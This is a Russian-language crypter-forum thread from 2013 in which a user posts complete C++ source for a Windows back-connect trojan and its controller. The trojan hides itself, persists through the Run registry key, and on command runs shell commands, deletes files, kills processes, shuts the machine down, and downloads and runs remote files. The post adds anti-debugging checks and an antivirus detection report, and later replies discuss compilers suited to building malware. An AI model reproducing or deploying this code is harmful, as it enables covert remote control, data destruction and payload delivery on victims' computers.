FuckAV - Форум о крипторах

Анонимный антивирусный сканер VPN-сервис
[Copi]Team DDoS Service Антивирусный сканнер

SEO статьи - блог от создателя FuckAV | KOROVKA.so | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!!

Вернуться  

Для того, чтобы ответить в теме, необходимо зарегистрироваться.
 
Опции темы Опции просмотра
Старый 10-12-2013, 19:28   #1
IBM

xor esp, esp
 
Аватар для IBM

Последняя активность:
8 час(ов) назад
Регистрация: 30.11.2013
Сообщений: 116
Поблагодарили всего: 223
за это сообщение: 6
По умолчанию [C++] BackConnect Backdoor

Предисловие: коннект идет на порт 1234

Всем привет, мое старое изобретение. Что бы не пропадало зря выложу сюда:

Троян:

Код:
#include <winsock2.h>
#include <windows.h>
#include <urlmon.h>

#pragma comment(lib,"urlmon.lib")


void hide()
  {
    FreeConsole();
  }
void Install()
  {
    char szTarget[256], szBackdoor[256], szWin[256];  
    HKEY key;
    GetWindowsDirectory(szWin, sizeof(szWin));
    GetModuleFileName(NULL, szBackdoor, sizeof(szBackdoor));
    strcpy(szTarget, szWin);
    strcat(szTarget, "\\strcmp.exe");
    CopyFile(szBackdoor, szTarget, false);
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
    RegSetValueEx(key,"System_Coorp",0,REG_SZ,(BYTE *)szTarget,256);
    RegCloseKey(key); 
  }

void shutdown()
  {
    system("shutdown -s -t 1 -c System will be shutdown to prevent damage for your system");
  }
    
int main(void)
{
    hide();
    WORD v=MAKEWORD(2,0);
    WSADATA d;
    int e=WSAStartup(v,&d);
    struct sockaddr_in peer;
    int s;
    int rc;
    bool fl;
    fl = true;
    char buf[1024], tmp[1024], result[1024], command[1024], text[1024], Win[256], C[256];
    peer.sin_family=AF_INET;
    peer.sin_port=htons(1234);
    peer.sin_addr.s_addr=inet_addr("127.0.0.1");
    s=socket(AF_INET,SOCK_STREAM,0);
    rc=connect(s,(struct sockaddr *)&peer,sizeof(peer));
    if (rc)
    Sleep(2000);
        while (1==1)
    {
    if (fl!=true)
    {
      strcat(tmp, result);  
    } else 
      {
        fl = false;
        strcat(tmp, "Request for auth...");
      }
    rc=send(s,tmp, sizeof(tmp),0);
    strcpy(tmp, "");
    strcpy(result, "");
    rc=recv(s,buf, sizeof(buf),0);
    int pos;
    pos = strcspn(buf, ":");
    pos++;
    strcpy(text, &buf[pos]);
    strncpy(command, buf, (pos-1));
    if (command[0]=='i') {Install();strcpy(result, "Installed");}
    if (command[1]=='s')
      {
        MessageBox(0, text, "Windows", MB_OK);
        strcpy(result, "command executed successfully"); 
      }
    if (command[1]=='e')
      {
        bool fl = DeleteFile(text);
        if (fl == true) strcpy(result, "command executed successfully"); else strcpy(result, "command execution failed"); 
      }   
    if (command[0]=='k') 
      {
        GetWindowsDirectory(Win, sizeof(Win));
        strcpy(C, "taskkill /im ");
        strcpy(C, text);
        strcpy(C, " /f");
        ShellExecute(0, "open", "cmd.exe", C, Win, SW_HIDE);
        strcpy(C, ""); 
        strcpy(result, "command executed successfully");
      }  
    if (command[1]=='h') {shutdown();strcpy(result, "command executed successfully");}   
    if (command[1]=='m')
      {
        system(text);
        strcpy(result, "command executed successfully");
      }
    if (command[0]=='u')
      {
        char Path[256];
        GetTempPath(sizeof(Path), Path);
        URLDownloadToFile( 0, text, (strcat(Path, "\\file.exe")), 0, 0);
        Sleep(1000);
        system((strcat("start ", Path)));
        strcpy(Path, "");
      }
    strcpy(command, "");
    strcpy(text, "");    
    }
    WSACleanup();
    system("PAUSE >nul");
    return 0;
}
В строке: peer.sin_addr.s_addr=inet_addr("127.0.0.1");

Меняем 127.0.0.1 на ваш IP.

Компилируем. Для компиляции рекомендую использовать Borland C++ Builder. Если используете Dev-C++ то скачайте urlmon библиотеку: [Ссылки могут видеть только зарегистрированные пользователи.]

Клиент можно использовать любой консольный ( netcat и т.д )

Но я написал свой, с ним удобнее все же:

Код:
#include <winsock2.h>
#include <stdio.h>
#include <cstdlib>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")

using namespace std;

void clearscr()
  {
    for (int i = 1; i < 100; i++) printf("\n");
    system("cls");
  }
void errpr(char* txt)
  {
    clearscr();
    system("color 0C");
    printf(txt);
    system("pause >nul");
    system("exit");
  }

int main()
{
    system("color 0A");
    WORD v=MAKEWORD(2,0);
    WSADATA d;
    int e=WSAStartup(v,&d);
    if (e)
    {
        errpr("error initializing winsock\n");
        return 1;
    }
    struct sockaddr_in local;
    int s;
    bool fl = true;
    int s1;
    int rc;
    char buf[1024], tmp[1024];
    local.sin_family=AF_INET;
    local.sin_port=htons(1234);
    local.sin_addr.s_addr=htonl(INADDR_ANY);
    s=socket(AF_INET,SOCK_STREAM,0);
    if (s<0)
    {
        errpr("Socket error\n");
        return 1;
    }
    rc=bind(s,(struct sockaddr *)&local,sizeof(local));
    if (rc<0)
    {
        errpr("Bind calling error\n");
    }
    rc=listen(s,5);
    if (rc)
    {
        errpr("Listen port error\n");
    }
    printf("Waiting for connection\n");
    s1=accept(s,NULL,NULL);
    if (s1<0)
    {
        errpr("Error calling accept function\n");
    }
    printf("Connected...\n");
    printf("msg:message - will show messagebox on the target system\n");
    printf("cmd:command - Will execute your command by remote command line prompt.\n");
    printf("delete:path - will delete file on the target system\n");
    printf("install - will install trojan in the target system\n");
    printf("shutdown - will restart the target system\n");
    printf("kill:processname - will kill remote process by name on the target system\n");
    while (1==1)
      {
        rc=recv(s1,buf, sizeof(buf),0);
        if (rc<=0)
          {
            errpr("Receive socket error...\n");
          }
        cout << buf << endl;
        cout << "/root> ";
        cin.getline(tmp, sizeof(tmp));
        rc=send(s1,tmp,sizeof(tmp),0);
        strcpy(tmp, "");
      }
    WSACleanup();
    
    return 0;
}
Команды:

Код:
    msg:message - Покажет messageBox на удаленной системе ( через msg * hello не передается в командную строку )
    cmd:command - Отправит команду в командную строку
    delete:path - Удалит файл по пути
    install - Установит троян в систему !!!
    shutdown - перезапуск компьютера
    kill:processname - убьет процесс
И одна не задокументированная команда:

url:[Ссылки могут видеть только зарегистрированные пользователи.] - скачает и запустит файл на исполнение


Ограничение соединений: 1

Кому надо заморачивайтесь с потоками. Троян можно доработать на антиотладку.

Для нубов: IsDebuggerPresent() - вернет true если есть отладчик, false если нету

А если серьезно, то:

Проверка на трассифировку:

Код:
DWORD StartTime = GetTickCount();

// тут немножко кода....

DWORD EndTime = GetTickCount();
DWORD TimeLimit = 100; // лимит времени исполнения того куска кода
if ((EndTime - StartTime) > TimeLimit) halt;
Проверка на перехватывающие плагины против антиотладки:

Код:
DWORD StartTime = GetTickCount();
Sleep(100);
DWORD EndTime = GetTickCount();
DWORD LeftTime = EndTime - StartTime;
DWORD Limit = 70;
if (LeftTime > Limit) halt;
да и все вроде бы.

Ах да, детект файла, который стучит на внешний айпи:

Название файла: Project1.exe
Размер файла: 10240 байт
Дата сканирования: Tue, 10 Dec 13 12:27:52 -0500
MD5-хэш файла: 8ae78aa227fd645dce4e4e188cce6a9f

Результат: 21 из 36

Ad-Aware: Trojan.Win32.Generic!BT
AhnLab V3 Internet Security: OK
ArcaVir: OK
Avast: OK
AVG: trj.Generic35.XLP
Avira: TR/Dynamer.dtc.16167 Trojan!
Bitdefender/BullGuard: Generic.Malware.Sdld!!.B3E07CDC
BullGuard Internet Security 2013: Generic.Malware.Sdld!!.B3E07CDC
Comodo: OK
Dr.Web: BackDoor.Siggen.56209
Emsisoft Anti-Malware (a-squared Anti-Malware): OK
eScan Internet Security Suite 14: Generic.Malware.Sdld!!.B3E07CDC (DB)
Fortinet 5: OK
F-Prot: W32/Threat-HLLSI-based!Maximus
F-Secure 2014: Generic.Malware.Sdld!!.B3E07CDC
G Data: Virus: Generic.Malware.Sdld!!.B3E07CDC (Engine A)

IKARUS: Win32.SuspectCrc
Immunet/ClamAV: OK
K7 Ultimate: Riskware ( 0040eff71 )
Kaspersky Internet Security 2014: OK
McAfee Total Protection 2013: OK
Microsoft Security Essentials: OK
NANO: OK
NOD32: @Trojan.Generik.IQQDZBO
Norman: winpe/Suspicious_Gen2.VSPEU
Norton Internet Security: Downloader
Outpost Security Suite Pro 8.0: Trojan.Agent!0+7QrA7LdOw (Trojan)
Quick Heal: Trojan.Dynamer
Sophos: Mal/DownLdr-AC
SUPERAntiSpyware: OK
Total Defense Internet Security: Win32/Tnega.XAFN!suspicious
Trendmicro Titanium Internet Security: OK
Twister Antivirus 8: Suspicious:W32.Afgan.d.cvrt.mg
VBA: OK
VIPRE Internet Security 2013: Trojan.Win32.Generic!BT
Virit: OK

Scan report generated by Scanner.FuckAV.ru


chk4me.com точно шлет.........



Чуть не забыл! Если хотите, что бы троян авторанился, то сразу после отстука введите install

Последний раз редактировалось IBM; 10-12-2013 в 19:32.
IBM вне форума  
Сказали спасибо:
bourvil (11-12-2013), GK104 (11-12-2013), Dark Koder (11-12-2013), dzhoka (10-12-2013), denis187500 (10-12-2013), POCT (10-12-2013)


Старый 11-12-2013, 14:14   #2
Dark Koder

Windows XP

Последняя активность:
3 недель(и) назад
Регистрация: 24.11.2009
Сообщений: 274
Поблагодарили всего: 130
за это сообщение: 1
ICQ 432871473
По умолчанию Re: [C++] BackConnect Backdoor

Молодец) мне как раз наглядный пример работы с сокетами.
Вопрос- почему так принципиально Борланд юзать?
З.Ы: я уже давно говорил,что chk4me шлёт отчеты
__________________
Magicus Technicus

"эй, баянист, прекращай " ©POCT
"Анус запеканус!!! Пыщ!!!" ©Apocalypse
Dark Koder вне форума  
Сказали спасибо:
IBM (11-12-2013)
Старый 11-12-2013, 15:06   #3
IBM
Topic starter

xor esp, esp
 
Аватар для IBM

Последняя активность:
8 час(ов) назад
Регистрация: 30.11.2013
Сообщений: 116
Поблагодарили всего: 223
за это сообщение: 1
По умолчанию Re: [C++] BackConnect Backdoor

Цитата:
Сообщение от Dark Koder Посмотреть сообщение
Молодец) мне как раз наглядный пример работы с сокетами.
Вопрос- почему так принципиально Борланд юзать?
З.Ы: я уже давно говорил,что chk4me шлёт отчеты
Просто в Dev-CPP они накосячили с urlmon`м ( лично у меня так ) - не компилит если нету у вас urlmon либы.

Visual Studio - много весит, да и вообще создает слишком много файлов даже при Release конфиге
Borland C++ Builder - вроде бы нормально компилирует, бывают проблемы с запуском на других компьютерах.


Поэтому я предпочитаю Dev-CPP, но требуется библиотека urlmon ( я скинул ссылку в статье на нее ).

Это все лично мое мнение.
IBM вне форума  
Сказали спасибо:
Dark Koder (12-12-2013)
Старый 11-12-2013, 15:19   #4
GK104

a state of trance
 
Аватар для GK104

Последняя активность:
6 час(ов) назад
Регистрация: 24.12.2012
Сообщений: 169
Поблагодарили всего: 120
за это сообщение: 0
По умолчанию Re: [C++] BackConnect Backdoor

Nu11ers3t, как на счет qt creator?как по мне, то самый удобный интерфейс, хотя некоторый синтаксис, который в вижуал студио норм проходит, он не понимает, не знаю почему
GK104 вне форума  
Старый 11-12-2013, 15:23   #5
IBM
Topic starter

xor esp, esp
 
Аватар для IBM

Последняя активность:
8 час(ов) назад
Регистрация: 30.11.2013
Сообщений: 116
Поблагодарили всего: 223
за это сообщение: 0
По умолчанию Re: [C++] BackConnect Backdoor

Цитата:
Сообщение от GK104 Посмотреть сообщение
Nu11ers3t, как на счет qt creator?
Я с QT Creator не работал, не могу сказать. Возможно скачаю, когда понадобится писать приложения под другие ОС. Да и если писать под Linux, то отлично подходит GCC.

Цитата:
Сообщение от GK104 Посмотреть сообщение
некоторый синтаксис, который в вижуал студио норм проходит, он не понимает, не знаю почему
Может потому что QT Creator кроссплатформенная IDE?
IBM вне форума  
Старый 11-12-2013, 17:46   #6
bourvil

Windows v.2.03

Регистрация: 25.11.2013
Сообщений: 14
Поблагодарили всего: 22
за это сообщение: 2
По умолчанию Re: [C++] BackConnect Backdoor

Скрытый текст

Цитата:
Сообщение от ;92124
Visual Studio - много весит, да и вообще создает слишком много файлов даже при Release конфиге
Недостаточно выставить "релиз", его еще нужно настроить должным образом
В качестве наглядного пособия - [Ссылки могут видеть только зарегистрированные пользователи.] и [Ссылки могут видеть только зарегистрированные пользователи.]

На выходе, бинарь может соревноваться разве что с бинами программ на ассемблере (в плане размерности). Капризный слон эта студия, но лучшего средства для разработки мальвари под Windows на C/C++ не найти.

Цитата:
Сообщение от ;92124
Borland C++ Builder - вроде бы нормально компилирует, бывают проблемы с запуском на других компьютерах.
Build with runtime packages и Use dynamic RTL вроде решают проблему.


Последний раз редактировалось bourvil; 11-12-2013 в 17:49.
bourvil вне форума  
Сказали спасибо:
SysWOW64 (16-01-2014), IBM (11-12-2013)
Старый 12-12-2013, 22:35   #7
Dark Koder

Windows XP

Последняя активность:
3 недель(и) назад
Регистрация: 24.11.2009
Сообщений: 274
Поблагодарили всего: 130
за это сообщение: 0
ICQ 432871473
По умолчанию Re: [C++] BackConnect Backdoor

Не,я пишу только на Борланде и студии. потому и спросил.
To GK104, QT Creator для иных целей создан! Он же для формошлепства,нет? да и синтаксис у него просто адский.
Не, уж лучше борланд, если гуй делать...
__________________
Magicus Technicus

"эй, баянист, прекращай " ©POCT
"Анус запеканус!!! Пыщ!!!" ©Apocalypse
Dark Koder вне форума  
Для того, чтобы ответить в теме, необходимо зарегистрироваться.

Метки
backconnect, backdoor, command, include, path


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Miyachung BackConnect Shell Loo024 Видео 0 09-08-2013 16:22
Backconnect socks Codez Куплю/Продам 8 18-07-2012 22:07
BackConnect stealer, opensource redHorse Софт 2 19-02-2012 16:50
BackDoor S_I_D Помощь 10 30-04-2010 09:35
backdoor zlobniy Корзина 10 20-04-2010 17:36

Часовой пояс GMT +3, время: 04:22.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd. Перевод: zCarot
Други: SEO блог Deymos'a| ProLogic.Su| DServers.ru| Форум веб-мастеров| Monopoly.ms